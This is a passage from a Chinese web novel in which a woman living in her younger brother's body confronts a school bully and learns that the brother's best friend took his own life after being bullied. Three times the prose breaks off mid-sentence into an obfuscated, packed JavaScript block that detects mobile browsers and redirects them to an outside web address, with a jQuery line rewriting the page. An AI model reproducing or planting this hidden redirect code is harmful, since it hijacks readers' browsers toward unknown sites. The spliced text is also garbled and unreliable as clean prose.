“沈渡舟。”他念出那个名字,语气里带着一种早已注定的东西,“五十三分。” 教室里响起一阵压低的笑声。 沈知窈站起来,走过去拿卷子。她低头看了一眼那张卷子——五十三分,确实不高,但卷面上有好几道题她明明会做,却因为步骤不全被扣了分。 一顿操作猛如虎,归来仍是学渣。 沈知窈面无表情,实际内心狂喊:“你们以为五十分就很容易了么!” 她没说什么,拿着卷子往回走。 “站住。”秦建国叫住她。 沈知窈回过头。 秦建国站在讲台上,手里拿着保温杯,上下打量了她一眼,那种眼神她很熟悉,是那种“我早就知道你不行”的眼神。 “沈渡舟,”他说,“你这个分数,离本科线恨不得差两百多分。你现在还不着急?还在那混日子?” 沈知窈没说话。 “我告诉你,”秦建国喝了口茶,“你这个态度,能考上大学我跟你姓。别以为我不知道你整天在干什么,和社会上那些人混,抽烟打架逃课,你以为这样很威风?等高考完你就知道了,考不上大学,你这辈子就完了。” 教室里安静得能听见窗外的风声。 沈知窈站在那里,手里攥着那张卷子。 她想说什么?她能说什么?想说她不是她弟沈渡舟,想说她其实已经博士毕业,想说他这样当着全班的面说一个学生“这辈子就完了”是不对的。 但她不能说。 她现在是沈渡舟,是一个“整天和社会上的人混”的差生,是一个被所有老师默认“没救了”的人。 她只能站在那里,听着。 “行了,”秦建国挥了挥手,“回去坐着吧。” 她回到座位上,把卷子摊开。 旁边的一个瘦小男生偷偷凑过来,小声说:“渡哥,你别往心里去,秦老头就这样,他谁都骂。” 沈知窈不想说话。 瘦小男生继续说:“上次李浩考了十八分,他夸了半天。其实就是看人下菜碟,李浩家有关系,他不敢得罪。” 李浩。 又是这个名字。 12. 他的过去 沈知窈转过头,看了瘦小男生一眼,那男生被她看得一愣,缩了缩脖子:“怎、怎么了?” “你叫什么名字?”沈知窈问。 那男生愣了足足三秒,脸上的表情像见了鬼:“我?我叫……张帆啊,你、你不记得了?” 沈知窈意识到自己问错话了,她弟的同班同学,她不应该问人家叫什么。 “记得,”她说,“被骂得晕头转向了,短暂失忆了。” 张帆“哦”了一声,脸上的表情还是很困惑,但没再追问。 沈知窈把目光转向教室的另一边。 李浩坐在第三排靠窗的位置,正和旁边的人说话,不知道说了什么,两个人都笑了。那种笑是那种很放松的笑,是那种知道自己不会被老师骂、不会被点名、不会被当着全班说“你这辈子就完了”的笑。 下午第二节课后是自习。 沈知窈去上厕所。从厕所出来的时候,有人在走廊上拦住了她。 是那天在厕所里跟她说话的那个男生,皮肤有点黑,瘦瘦的,袖口磨破了,站在走廊拐角处,看起来像是在等她。 “渡哥。”他小声叫了一声。 沈知窈停下来,看着他。 那男生往四周看了看,确认没人,才开口:“我有话跟你说。” “说。” 那男生张了张嘴,又闭上,像是不知道从哪说起,最后他深吸一口气,压低声音说:“小武的事,你还记得吗?我前几天在街上看见他妈了……” 小武。 这个名字沈知窈从来没听过。 她没说话,只是看着他。 那男生误会了她的沉默,以为她是不想提,他的眼神暗了暗,低下头:“算了,我不该提的。” 他转身要走。 “等等。”沈知窈叫住他。 那男生回过头。 沈知窈看着他,一字一句说:“我没有不想听,是我……快不记得了。” 那男生愣住,看着她,眼睛里有什么东西在动。 “你……不记得了?”他的声音有点抖,好似是下定了巨大的决心,“小武,你最好的朋友,你不记得了?” 沈知窈的心往下沉了一点。 她弟最好的朋友?她从来没听沈渡舟提起过。 “我脑子最近不太好,你知道的,打架了还住了院……”她说,尽量让自己的语气听起来正常,“你提醒我一下。” 那男生盯着她的脑子看了好几秒,然后点了点头,像是说服了自己。 “行,”他说,“那我告诉你,小武,武岳,咱们三个初一的时候一个班。你、我、他,咱仨天天一块儿玩。” 他顿了顿,声音低下去:“后来……后来李浩那帮人欺负他。他比你老实,不会反抗,也不敢跟家里说。李浩他们堵他,让他跪着,让他钻□□,让他拿钱。他没钱,他们就打他。” 沈知窈站在那里,走廊上的风灌进来,吹得她后背发凉。 “后来有一天,”那男生的声音更低了,“他从教学楼上跳下来了。” 沈知窈的呼吸停了一瞬。 “三楼,”那男生说,“人当场就没了。再后来他爸妈也搬走了,我再也没见过他。” 他抬起头,看着她——看着她弟的脸。 “你那天不知道咋的也在那儿,你看见他跳下来的。后来你去找李浩,跟他们打了一架,打得很凶,被记了大过。从那以后,你就变了。你开始和社会上的人混,开始抽烟,开始逃课……你不跟我说这些事,但我都知道,你也有苦衷。” 沈知窈的喉咙像被什么东西堵住了。 她弟最好的朋友,从三楼跳下来。因为她弟被欺负,他朋友也被欺负,而她什么都不知道。 “我告诉你这些,”那男生说,“是因为你最近好像又变了一点。我不知道是好事还是坏事,但我想让你知道,不管你变成什么样,我都记得你以前是什么样的。” 他看着沈知窈,眼眶有点红,但没哭。 “我周磊,就剩你一个好兄弟了。”他说,“咱仨以前是最好的朋友……现在就剩咱俩了。” 沈知窈看着他,看着这个瘦小的、皮肤有点黑的、袖口磨破了的男生。 她想起她弟的日记里那些话:“他们让我跪下,我没跪,但我最后还是跪了。” 真没用,没用的是她这个当姐姐的。 她想起她弟的笔记本上那三个被红笔圈起来、打着叉的名字。 她想起沈渡舟这些年一个人扛着的东西。 “周磊,”她开口,用的是她弟的声音,但每一个字都是从她心里掏出来的,“谢谢你告诉我这些,我从来都没有忘记。” 周磊愣了一下。 “谢我?”他有点懵,“你谢我干什么?” 沈知窈不知道该怎么解释。她只能说:“谢谢你记得他。” 周磊看着沈知窈,眼眶更红了,但他忍住了。 “我一直都记得,”他说,“你也要记得。” 他转身走了,走得很急,像是怕她看见他哭。 沈知窈站在原地,走廊上的风还在吹,吹得她的眼睛有点涩。 晚自习的时候,教室里来了一个人。 是个女生,扎着马尾,穿着校服,脸圆圆的,眼睛很大。她站在门口,往里面看了一眼,然后快步走到李浩桌边,把一个装着保护费的信封放在他桌上。 “给你的。”她说,声音很小,好像风一吹就散掉了。 李浩抬起头,看了她一眼,故作吃惊道:“哟,陆泠音,什么好东西?” 那个叫陆泠音的女生没说话,转身就要走。 李浩一把拉住她的手腕。 “别走啊,”他笑着说,“送完信就走,什么意思?怕我吃了你?” 陆泠音的脸涨得通红,用力挣了挣,没挣开。 教室里有人在看,有人装作没看见,有人低下头继续写作业。 沈知窈站了起来。 张帆在旁边小声说:“渡哥,别——” 沈知窈没理他,走了过去。 “松手。”她说。 李浩抬起头,看见是她,笑得更开了:“哟,渡哥,今天这么爱管闲事?” 沈知窈看着他的手——那只手还握着陆泠音的手腕,握得很紧,陆泠音的手腕已经红了。 “我再说一遍,松手。” 李浩的笑容顿了一瞬。他看着沈知窈,像是在打量一个突然变得陌生的东西。 “沈渡舟,”他说,语气慢悠悠的,“你是不是忘了自己是谁?” 沈知窈没说话。 李浩站起来,比她高了小半个头。他往前走了一步,凑近她,压低声音说:“你那个朋友,武岳,还记得吗?他就是因为多管闲事,最后跳楼的。” 沈知窈的瞳孔缩了一下。 “你说什么?”她的声音很轻,但每个字都像从牙缝里挤出来的。 这个小王八蛋居然还有脸提这个名字。 李浩笑了,笑得很开心:“我说,他是因为多管闲事才跳楼的。他要是不管那些有的没的,老老实实待着,不就没事了?” 沈知窈看着那张脸,那张笑着的脸,那张脸有着超乎年龄的刻薄。 她想起周磊说的话:他比你还老实,不会反抗,也不敢跟家里说。李浩他们堵他,让他跪着,让他钻□□,让他拿钱。 她想起她弟的日记:他们让我跪下,我没跪。李浩说,你姐不是大学生吗?让她来啊,看我们怎么对她。我最后还是跪了。 她想起那个素未谋面的男孩,从三楼跳下去,摔断了腿,摔伤了脊椎,最后抢救无效去世了。 她的手握成了拳。 但她没动。 不是因为怕,是因为她现在是沈渡舟,她不能用沈渡舟的手去打人,打完人之后,进局子的还是沈渡舟。 她深吸一口气,转身看向陆泠音。 “快上课了,你走吧。”她说。 陆泠音愣了一下,然后反应过来,用力挣开李浩的手,跑了出去。 李浩站在原地,看着她的背影,又看看沈知窈,脸上的笑容慢慢冷下来。 “沈渡舟,”他说,“你今天是不是找死?” 沈知窈看着他,没说话。 李浩往前走了一步,又一步,离她很近,近到能看清他眼睛里那点被挑衅之后燃起来的东西。 “你以为你变了?”他说,“你以为你今天做了道题,你以为做了个题就厉害了?我告诉你,你还是那个怂包,你朋友跳楼的时候你拉不住他,现在你也救不了任何人。” 沈知窈的心跳得很快,但她脸上什么都没表现出来。 她只是看着他,一字一句说:“你不配说小武的名字。” 李浩愣了一下。 “所以你说完了吗,说完了我就回去写作业了。”她说,“没多久就高考了,我没时间陪你闹了,最后重申一遍,我不想把时间浪费在你这种人身上。” 她坦然转身,踱步回自己的座位。 身后传来李浩的声音:“沈渡舟,装你妈呢,你他妈给我等着。” 她没回头,也没抬头。 坐下来之后,她的手还在抖。 张帆在旁边小声说:“渡哥,你今天真的……太猛了。但是李浩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345254|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他家有关系,你小心点。” 沈知窈点了点头,没说话。 她看着窗外,看着漆黑的夜色里那几点零星的灯火。 天黑了太久了,让人想不起来天亮该是什么样子。 她学着沈渡舟拿起笔,在草稿纸上写下三个字:李浩,笔尖顿了顿,然后迅速划掉。 下晚自习的时候,沈知窈在校门口被拦住了。 不是李浩,是陆泠音。 那个圆脸女生站在路灯下,看见她出来,快步走过来,站在她面前。 “谢谢你。”她说,声音很小,但很认真。 沈知窈看着她,看着她那双还有点红的眼睛。 “他以后还会找你吗?”沈知窈问。 陆泠音愣了一下,然后点了点头:“会。他一直都在找我。我不理他,他就让人传话,写信,堵我。我不敢告诉我爸妈,他们……他们也没办法。” 沈知窈沉默了两秒。 “你知道李浩家有关系吗?”她问。 陆泠音点头:“知道。他爸是教育局的,学校不敢惹他。” “那你怎么还敢来谢我?” 陆泠音抬起头,看着她——看着她弟的脸。 “因为你以前帮过我,”她说,“我记着。” 沈知窈看着她,心里有什么东西软了一下,像蓬松起来的棉花糖,一丝丝一缕缕,甜进了心里。 “以后他再找你,”沈知窈说,“你告诉我。” 陆泠音愣了一下:“告诉你?” “嗯。”沈知窈拍了拍胸脯。 “可你……”陆泠音犹豫了一下,“你不是也打不过他吗?” 沈知窈想了想,说:“打不过,但可以想办法,这叫智取。” 陆泠音看着她,眼睛里有东西在闪。 “沈渡舟,”她小声说,“你变了。” 沈知窈没说话。 陆泠音转身跑了,跑进夜色里,马尾辫一甩一甩的。 沈知窈站在原地,看着她的背影消失在巷子口。 手机震了。 是她弟的消息:“今天怎么样?” 她看着那三个字,想了想,回:“还行。今天知道了一些事。” 那边回:“什么事?” 她回:“关于你朋友的事。” 那边沉默了很久。 然后回:“小武?” 她回:“嗯。” 又沉默了很久。 然后她弟发来一条消息,很长:“他叫武岳。我最好的朋友。初一那年他跳楼了,因为我没保护好他。后来我变成现在这样,是因为我想,如果我也变成坏人,也许就不会有人敢欺负我,也就不会再有人因为我受伤。” 她看着那条消息,眼眶有点涩。 她回:“不是你的错。” 那边回:“我知道,但以前不知道。” 她握着手机,站在路灯下,站了很久。 夜风吹过来,带着一点凉意,还有远处烧烤摊的香味。 她抬起头,看着头顶那盏昏黄的路灯,看着灯下飞舞的小虫。 她弟的朋友。 她弟的过去。 她弟那个她从来不了解的世界。 现在,她一点一点看见了。 她低下头,又发了一条消息:“你那边怎么样?” 那边回:“还行,你那个新同事人还不错。” 她愣了一下,然后笑了。 她回:“怎么个不错?” 那边回:“记得你不吃香菜,没有嘲笑你的苦难。” 她看着那条消息,笑出了声。 笑着笑着,眼眶又涩了。 她回:“谢谢你。” 那边回:“谢什么?” 她回:“谢谢你,在我的世界里,把我的生活处理得很好,你比我厉害。” 那边回:“废话,我是你弟。” 她看着那几个字,站在路灯下,很久没动。 “不对,姐,你受啥刺激了?”沈渡舟又发了条信息。 “没,有感而发,好好替我办好事吧,别露馅了。” 远处传来一阵摩托车的轰鸣,由远及近,又从身边掠过,消失在夜色里。 她把手机收起来,往那个城中村的方向走去。 走了几步,她又停下来,回头看了一眼学校的方向。 那栋教学楼静静地立在夜色里,窗户黑着,只有几盏路灯照着它的轮廓。 高楼的某个窗户,曾经有一个男孩跳下来过。 她不知道是哪一个。 但她知道,从今以后,她会替沈渡舟记住。 13. 反骨上身 当你开始认真观察一个人的生活时,处处都是他留下来的痕迹,沈知窈对此深有感触。此时,她正蜷缩在沈渡舟那张贴满褪色海报的单人床上,忍受着由于长期熬夜而带来的太阳穴隐痛。 这具身体充满了躁动的生命力,却也像一间久未修葺的旧屋,内里满是裂痕。 她睁开眼,盯着天花板,那道裂缝还在,从东到西,弯弯曲曲的,像一条干涸的河。她盯着它看了很久,看它从模糊变清晰,又从清晰变模糊。眼皮沉得厉害,脑子却清醒得要命,白天那些事一桩一桩往眼前冒。 她翻了个身,把脸埋进枕头里。 枕头有股味道。不是脏,是他弟的味道。汗味,烟味,还有一点点洗衣液的清香,混在一起,说不清是难闻还是不难闻。这味道包围着她,提醒她这不是她的床,不是她的房间,不是她的人生。 眼前不自觉冒出了林嘉文的身影,他温柔得几乎完美的语气,还有那天晚上袒露心扉的哭诉,他的眼泪滴到她的手背上了,沈知窈却依旧无动于衷。 当某些念头冒出来,胃里就泛起一阵恶心。不是想吐的那种恶心,是更深的地方,说不清道不明的滋味。像小时候晕车,又像考试前紧张,空落落的,揪着,往下坠。 她闭上眼睛,深吸一口气,又慢慢吐出来。 睡不着就是睡不着。 她爬起来,光着脚踩在地上。水泥地面凉飕飕的,脚底板贴上去,那股凉意顺着脚心往上爬,爬到小腿,爬到膝盖,整个人都清醒了几分。 她走到窗边,撩开帘子往外看。 巷子里黑漆漆的,只有一盏路灯亮着,昏黄的光落在地上,照出一小片亮。楼下的吵架声停了,那放音乐的人也关了,只有远处偶尔传来几声狗叫,懒洋洋的,像在做梦。 她站在那儿,看了很久。 然后她听见楼下有人在喊。 “渡哥!渡哥!” 声音不大,但在这夜深人静的时候格外清楚。她愣了一下,探头往下看。 路灯底下站着个瘦高的人,头发染成金黄色,在昏黄的光里像一团烧着的火,他仰着头,正往上看,看见窗户里探出脑袋,就使劲挥手。 “渡哥!下来!” 沈知窈定睛一看,原来是黄毛。 她犹豫了一下,冲下面喊:“干嘛?” “找你有事儿!快下来!” 沈知窈想了想,套上她弟那件洗得发白的灰色卫衣,趿拉着鞋下楼。 楼道里黑漆漆的,感应灯坏了好几盏,她摸黑往下走,脚下踩到什么软的东西,吓得一激灵,仔细一看是只睡着的野猫,那猫被她沙沙的脚步声踩醒了,不满地叫了一声,一溜烟钻进墙角不见了。 推开楼下铁门,冷风灌进来,她打了个哆嗦。 黄毛站在路灯底下,看见她出来,欢快地迎了上去,活像一只轻盈的金毛。 “你咋了?” 沈知窈心里一紧。 “什么咋了?” 黄毛走过来,凑近看她的脸。那股混着廉价烟味和洗发水味道的气息就飘过来。 “你脸色不对啊。”他说,眉头皱着,“是不是病了?” 沈知窈往后退了一步。 “没病。就是没睡好。”黄毛盯着她看了几秒,那眼神跟他平时嬉皮笑脸的样子不一样,有点认真。 “渡哥,”他说,“你最近是不是有什么事?” 沈知窈没说话。 黄毛继续说:“这段时间你就不对劲,以前找你,你几乎是一呼百应的,现在找你,你总说有事……上回在校门口碰见你,你那眼神我都不认识了。” 他顿了顿,道:“我以为你病了,来看看你。” “我没病,上次我姐她回来教训我了,让我好好学习。”沈知窈能听出来,确实是在关心她,与其说是关心她,不如说是在关心沈渡舟,“没办法的事。” “噢……没事就好,你姐也是为了你好。” “这是欠你的钱,我……我攒了一点,想着咱们都是学生,你肯定也缺钱用……你别担心,后边我赚到钱,肯定会都还你的!”黄毛有点难为情,他从卫衣兜里掏出一个黄色的纸信封。 沈知窈不知道她弟弟跟他这个朋友有什么过往交情,只能下意识推阻,将信封塞了回去:“别了,你现在要急着用钱的话,不用这么快还,你先照顾好你自己手头上的事。” “渡哥,你是个好人……”黄毛兴许是想到了什么,突然煽情起来,一边哽咽一边眼泪汪汪地看着沈知窈。 沈知窈有些尴尬,她强撑着流露出一个温和又别扭的笑脸:“有难处跟我说,你别哭了,哭又不能……” 解决问题这四个字,沈知窈硬生生咽了回去。 黄毛猝不及防扑了上来,真的是如同那金毛,把沈知窈的晚饭都要撞出来了,被黄毛抱了个满怀,沈知窈脑子昏昏沉沉的,一向对肢体接触深恶痛绝的她竟一时没反抗。 “你好好学习,我不耽误你了,你要争气啊,离开这里就好了的。”黄毛嘀咕着不明所以的话。 起初,沈知窈并不能意识到“离开这里”是什么概念,至少在她的认知里,外面的世界也如同刀山火海。 由于晚上没睡好,早自习、早读,沈知窈基本是睡沉,直到张帆用胳膊肘捅了她几下,沈知窈这才摁住起床气爬了起来。 班主任杨进才走进来,手里拿着保温杯,往讲台上一站,开始点名,点到沈渡舟的时候,他抬起头,往最后一排看了一眼,眼神里带着一点什么——不是之前的轻蔑,是一种更复杂的东西。 沈知窈没在意,低头继续翻书。课间的时候,张帆鬼鬼祟祟地凑过来。 “渡哥,”他压低声音,“你知不知道,李浩那边在传你坏话。” 沈知窈头也不抬:“传什么?” “说你是……”张帆犹豫了一下,“说你是走后门进来的,初中的时候因为死了人,为了让你不要乱讲,这才把你扩招进来的。” 沈知窈终于抬起头,看了他一眼。 张帆被她看得一缩,但继续说:“还有人说,你最近这么反常,是因为被你姐附体了——我操,这谁编的,太扯了。” 沈知窈差点被自己的口水呛到。 附体?从某种意义上来说,这话也不算错。 “还有吗?”她问。 “还有……”张帆往四周看了看,声音压得更低,“有人说,李浩其实是喜欢陆泠音的,你几次三番从中作梗,这次他一不做二不休,找了几个人,准备放学堵你。” 沈知窈沉默了两秒:“喜欢人家姑娘,就伸手找人家要钱,这不是不要脸么?” “哥,你小点声儿!日子还过不过了?” “知道了。”她说。 张帆愣了一下:“知道了?就这?你不跑?” “往哪跑?” “往……”张帆想了想,好像确实没地方跑,“那你怎么办?” “既来之则安之。” “渡哥,你什么时候这么有文化了?” “行,”她说,“我知道了,你先回去吧,谢谢你。” 张帆“哦”了一声,缩回自己的座位,但眼睛还时不时往这边瞟。 沈知窈低下头,继续看书。 但她脑子里在想别的事。 沈渡舟是一个没有人疼爱的孩子,他退无可退,只能靠着自己笨拙的方式去反抗。他并非一无是处——沈渡舟也只是个孩子,还是个没人疼的孩子。 如此处境,他已经做得很好了。 中午吃饭的时候,沈知窈去食堂。 食堂人很多,排着长队,她端着盘子站在队伍里,盘子里打了两个菜,一份米饭,看起来和周围的高中生没什么两样。 突然有人拍了拍她的肩膀。 “沈渡舟,你还好吗?我想和你一起……”少女的声音如山涧清泉。 沈知窈认出眼前的人是陆泠音,放缓了语调:“没事。” 陆泠音抬起头,看着她,眼睛亮晶晶的,好似在期待什么。 “你最近,”她小声说,“好像变了一个人。” 沈知窈心里一紧,但脸上依旧风平浪静:“是吗?是变帅了?” 这比较符合沈渡舟臭屁的性格。 “嗯,”陆泠音点头,“以前你都不怎么说话,走路低着头,也不跟人打招呼。现在……”她想了想,“现在你好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345255|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢看人了,你昂首挺胸的样子确实挺帅。” 沈知窈不知道该说什么。 陆泠音继续说:“其实我一直想跟你说,你不是他们说的那样,我知道你是什么样的人。” “在你眼里,是什么样的人?”沈知窈问。。 陆泠音愣了一下,然后说:“就是……好人啊。” 好人? 这个评价从她弟的同学嘴里说出来,和从她自己嘴里说出来,感觉完全不一样。 “你怎么知道?”沈知窈问。 陆泠音低下头,用筷子戳着盘子里的米饭,小声说:“虽然不知道为什么李浩总针对你,但是好歹你是那个不妥协的,要不是有你在分散火力,大家可能都没办法好好念书了……” 沈知窈:“……”这和窝囊废有什么区别? 陆泠音继续说:“其实也不是啦,上学期周磊被堵的时候,你明明打不过他们,但你站过去了。周磊后来跟我说,要不是你,他那天肯定挨打。” 沈知窈从来没想过,她弟的生活里有这些——她从来没想过,在她看不见的地方,她弟是这样一个人。 “谢谢你告诉我这些。”她说。 陆泠音抬起头,看着她,眼神有点困惑:“谢我?我什么都没做啊。” 沈知窈没解释,只是笑了笑。 陆泠音看着那个笑,脸又红了。 吃完饭,两个人一起走出食堂。陆泠音往教学楼方向走,沈知窈往操场方向走。 刚走出几步,身后传来一阵急促的脚步声。 “渡哥!” 是张帆,跑得上气不接下气,脸都白了。 “怎么了?”沈知窈问。 “李浩!”张帆指着教学楼方向,“他带人去堵陆泠音了!” 沈知窈的脸色变了。 她转身就往回跑。 跑到教学楼楼下的时候,已经围了一圈人。人群中央,陆泠音被几个男生堵在墙角,李浩站在最前面,脸上挂着那种她熟悉的笑容。 “陆泠音,”李浩的声音懒洋洋的,“我刚才看见你跟我们渡哥一起吃饭?怎么,换目标了?” 陆泠音缩在墙角,脸涨得通红,一句话都说不出来。 “让开。”一个声音响起。 李浩回过头,看见沈知窈站在人群外面,脸色冷得能结冰。 人群自动让开一条路。 沈知窈走进去,走到陆泠音面前,把她挡在身后。 “李浩,”她说,“你有事冲我来。” 李浩笑了,笑得很开心:“哟,渡哥,今天这么英雄救美?我还以为你只敢躲在角落偷偷哭呢。” 李浩往前走了一步,凑近她,压低声音说:“你那点破事,我都知道,你是怎么来这个重点高中的,你难道心里没数么——沈渡舟,你他妈就是个没人要的废物怂货,还装什么?” 沈知窈的手握成了拳。 不是因为怕,是因为她知道,现在动手,正好落进李浩的圈套,他就是要激她动手,然后顺理成章地让学校处理她。 “说完了?”她问。 李浩愣了一下。 “说完了就滚。”沈知窈说,“别挡路。” 她拉起陆泠音的手,往人群外面走。 李浩的声音从身后传来:“沈渡舟,你给我记住。这个学校,是我说了算。你护着的人,我一个一个收拾。” “靠着家里人横行霸道的废物,你才是怂包。”沈知窈没回头,压根都没理会对方的无为狂怒,她拉着陆泠音一直走到教学楼外面,走到阳光底下,才松开手。 陆泠音的手在抖,整个人都在抖。 “对、对不起,”她结结巴巴地说,“都是我不好,我不该去找你吃饭,不然也不会——” “不关你的事。”沈知窈打断她,“他就想找我麻烦,你只是借口。” 陆泠音抬起头,眼眶红红的。 “沈渡舟,”她小声说,“你为什么一直都当一块硬骨头?” “当然是为了分散火力,让我身边的同学能好好学习。” “况且,李浩他不就是想看着我烂掉嘛,总有一天我会让他八匹大马都赶不上我。” 14. 逃过一劫 沈知窈安然渡过午休时间,下午第一节课是语文。 沈知窈坐在座位上,脑子里还在想中午吃饭时候的事——李浩为什么要一直针对沈渡舟,莫非以前有什么不为人知的过结。 她想起周磊对她说的话:“李浩家有关系,他爸是教育局的,在学校里,基本上没人敢惹他。” 有关系的人想要欺负一个透明又普通学生,根本不会有人在意。 她看了看四周,目光落在李浩身上。他正趴在桌上睡觉,旁边两个跟班也在玩手机。他们看起来和普通学生没什么两样,但沈知窈知道,这三个人身上背着超乎同龄人的东西,比看起来老成的多。 小武,她弟,陆泠音……还有那些不知道名字的人。 语文老师在讲台上讲《赤壁赋》,讲到“寄蜉蝣于天地,渺沧海之一粟”,沈知窈听着,突然觉得这句话很适合她弟。 渺小,微不足道,天地间缥缈如一缕烟尘,如一只可怜的虫,他俩都一样,是烟,是虫。 沈知窈想当第一个看到的,她不能对弟弟视而不见。她要用这具身体,替她弟活一段时间,替她弟挡着那些破事,替她弟做那些他以前不敢做的事。 下课铃响了。 沈知窈站起来,往教室外面走,走到门口的时候,被一个人拦住了。 是隔壁班的周磊。 他站在走廊上,表情有点奇怪,像是有什么事要说,又不知道该怎么说。 “怎么了?”沈知窈问。 周磊往四周看了看,压低声音说:“你是不是又跟李浩干起来了?渡哥。” 沈知窈看着他,字字真心:“我就搁那儿吃饭,他自己往我这边撞,天地良心,我什么也没做。” 周磊手脚并用比划道:“李浩非常生气,哎呦,上回在酒吧里边就跟你说过了,别特么出头别特么出头,咱们老实点过日子不行么,他什么人你什么人,咱们身处劣势啊。” 沈知窈靠着墙,脚尖在地上捻出沙沙声:“别管了,我有打算。” “跟以前一样,他找了几个校外的,”周磊说,“明天放学,在校门口堵你。你要是出去,就打你一顿。你要是不出去,他就诬赖你名声,让你在学校混不下去。” 沈知窈沉默了两秒,慢悠悠道:“无所谓,他爱怎么说就怎么说,我不在乎。” 沈知窈不是沈渡舟,没有意气风发热舞沸腾,面子比天还大,为了面子打一架,那不可能的。 “唉,老师也不管,这样下去也不是法子!你要不然去找找你姐姐,让她找老师,你不要总一个人硬扛着。” 沈知窈张了张嘴,欲言又止。 周磊本来是热锅上的蚂蚁,本意是担心沈渡舟,结果话说出来难免太沉重。见对方不说话,周磊以为是自己话说得太重,给沈渡舟心理上又上了压力,心疼对方本来就日子不好过,他再咋咋唬唬讲话,那岂不是雪上加霜了。 他微微叹了口气,收敛了脸上的愁容:“算了,都是病急乱投医,你肯定也不爱听这些。没办法,学习不好,连家里人都不想管……但咱们说好了,以后是要考大学的,只是现在比较难过,往后走都会变好的。” 原来她一直是旁观者,沈渡舟从未提过,她也当是全然不知。 沈知窈看着他,这个瘦小的、皮肤有点黑的男生,眼神里有一种很认真的担忧。 “沈知窈会管我的,以前是她错了。”她回答道。 周磊看见他认真的表情愣了一下,然后说:“小武不在了,你不能再出事,很多事我们真的是无能为力——就算告诉父母和老师,也不一定有用,不行的话就躲,躲得远远的。” 沈知窈的喉咙像被什么东西堵住了。 小武。 那个从三楼跳下来的男孩。 她弟最好的朋友。 可如果这个悲剧直接发生到沈渡舟身上呢?沈知窈是不是要抱着沈渡舟的日记找真相,还是说,会冷漠地接受弟弟不争气的事实——心理脆弱罢了,哪里会去想有难言之隐,更不会想是不是因为被欺负了才酿成悲剧。 沈知窈身后有些发凉,手心也生出了冷,黏黏腻腻的,像是抓了一把烧化了的颜料在手心里。 周磊继续说:“我不知道你最近为什么变了,但变了好。你以前……你以前都不怎么说话,也不理人,现在你好歹会跟我说谢谢了。” 沈知窈想起那天在厕所门口,周磊跟她说的那些话,那是她第一次知道小武这个人。 “周磊,”她郑重说道,“谢谢你。” 周磊摆了摆手:“别说这些,你先想想怎么对付李浩吧。要不你别走正门,从侧门溜?” 沈知窈想了想,摇头:“没用。他们要是真想堵我,侧门也会有人。” “那怎么办?” 沈知窈没说话,她在想别的事。 李浩找校外的,说明他不想在学校里动手,怕留证据。他想要的是“意外”,是“放学后的事”,是那种就算打伤了也追究不了责任的事。 这是霸凌者的惯用伎俩。 但沈知窈不是十七岁的高中生。她是三十岁的高校老师,见过更复杂的职场斗争,见过更隐蔽的恶意。 她知道自己该怎么做。 “你装作什么都不知道,回去好好上课。” 她坐在最后一排靠窗的位置,翻着她弟那本物理习题集。窗外太阳西斜,把半边天染成昏黄,光线斜斜地打进来,落在书页上很晃眼睛。 放学的时候,沈知窈大摇大摆从正门走出去,光明正大地翘了晚自习。 夕阳把她的影子拉得很长,一个人不紧不慢走在人群里。 校门口没什么异常,卖烤红薯烤肠的大爷还在老地方,奶茶店门口排着队,几个学生在文具店书店面前打打闹闹,一切看起来都很正常。 她一只手拎着校服外套,脚步轻盈地往前走,走进那条通往城中村的巷子。 巷子很窄,两边是老旧的楼房,电线横七竖八地挂在头顶。她走了大概五十米,前面出现了几个人影。 三个,都穿着黑色衣服,一个叼着烟,两个手里拿着棍子。 她停下来。 那三个人也停下来,一动不动地看着她。 为首的是一个平头,脸上有一道疤,看起来二十出头。他把烟扔在地上,踩灭,然后冲她笑了笑。 “沈渡舟。”为首的男人喊道。 “是我。”沈知窈嗯了一声。 “咋了,还装不认识呢,有人花钱让我们来跟你聊聊。”平头往前走了一步,“你是自己过来,还是我们过去?” 沈知窈又不是傻子,肯定是不会动的,她看着那三个人,突然说:“你们知道我是谁?我们认识?” 平头愣了一下,然后笑了:“你是摔坏了脑子吗,连我们都不认识了,几天没挨打,都不晓得孝敬哥几个了?” 沈知窈没接他的话,继续问:“你们是李浩叫来的吗?” “他爸是教育局的,”沈知窈嗤笑了一声,“你们帮他打我,出了事,他爸能保他,能保你们吗?” 平头的笑容顿了一下,看着她的眼神都不对劲了。 沈知窈一只手停在口袋里,不动声色地偏过身体。 “我猜,你在丽花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17345256|199519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇宫上班,现在有一份报酬稳定的工作,你服务的对象并不是李浩,而是李浩的母亲,是不是。” 